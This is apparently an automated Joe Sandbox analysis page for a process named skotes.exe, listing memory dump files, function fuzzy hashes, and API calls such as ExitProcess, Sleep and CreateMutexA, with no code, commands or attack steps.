Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: ff36448970284c3c41a9c8a7ce597ded50b9c1bd429ea9e9897ed2ced2c78334
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 13B11432D046859FEB25CF68C881BFEBBF6EF45350F14816AD895EB242D6359D01CBA0

Function 0004BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0004BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0004BBE4
_xtime_get.LIBCPMT ref: 0004BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0004BC13

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: b817f20087d75936bed345978afb93b588f1c292a422d58714952fb2340fae2f
Instruction ID: d19807e7a6e9160420915923e754ac491d37e9a2e4a556d83d60c6b28fcc144b
Opcode Fuzzy Hash: b817f20087d75936bed345978afb93b588f1c292a422d58714952fb2340fae2f
Instruction Fuzzy Hash: 01213DB1A01119AFEF40EBA4D881DFEB7B9EF08710F114479F501A7252DB749D059BA4

Function 0006F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0006F3A3

Strings

8", xrefs: 0006F44B
`', xrefs: 0006F375

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"$`'
API String ID: 3903695350-2232028047
Opcode ID: f90ad80a20cb27691a0f451246883e715220fe80848eb063635019880ac685e4
Instruction ID: aa6e5e9f60f0c8810b0b66713b993448b2edb994a2d139381e875a5acee7d141
Opcode Fuzzy Hash: f90ad80a20cb27691a0f451246883e715220fe80848eb063635019880ac685e4
Instruction Fuzzy Hash: 7F316131600702DFEB61AB39E845BAB73E6EF01351F10842AE456E7696DF74ED80CB11

Analysis Process: skotes.exePID: 7736, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	606
Total number of Limit Nodes:	4

Executed Functions

Function 0006652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0006652A,?,?,?,?,?,00067661), ref: 00066567

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ab38db11e8cc0589ebd7ee3ed10ff0be5dd725c83c8d214be68d8937741a91e4
Instruction ID: 8c5a0cf9c7d450d404a23028e9df2a2ec8619b4d1e5012d827c092ee24fa1c1f
Opcode Fuzzy Hash: ab38db11e8cc0589ebd7ee3ed10ff0be5dd725c83c8d214be68d8937741a91e4
Instruction Fuzzy Hash: DDE0CD301419086FCF357B58C84ED883BABEF51741F100800F81646223CB36EE82C950

Function 00039BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 532c28e4281066b8918211af7c7829d468798f8c515bedcb9d29e4b5f7c39384
Instruction ID: 48e9ceac737bdcd3fb18b0cd8a220b8d69bb9f8282f4f7a6c8b328b0e597e365
Opcode Fuzzy Hash: 532c28e4281066b8918211af7c7829d468798f8c515bedcb9d29e4b5f7c39384
Instruction Fuzzy Hash: 63316B717142048BEB09DB7CDDCD7AEB7AAEFC6310F248619E054A73D6C7B589808751

Function 00039F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
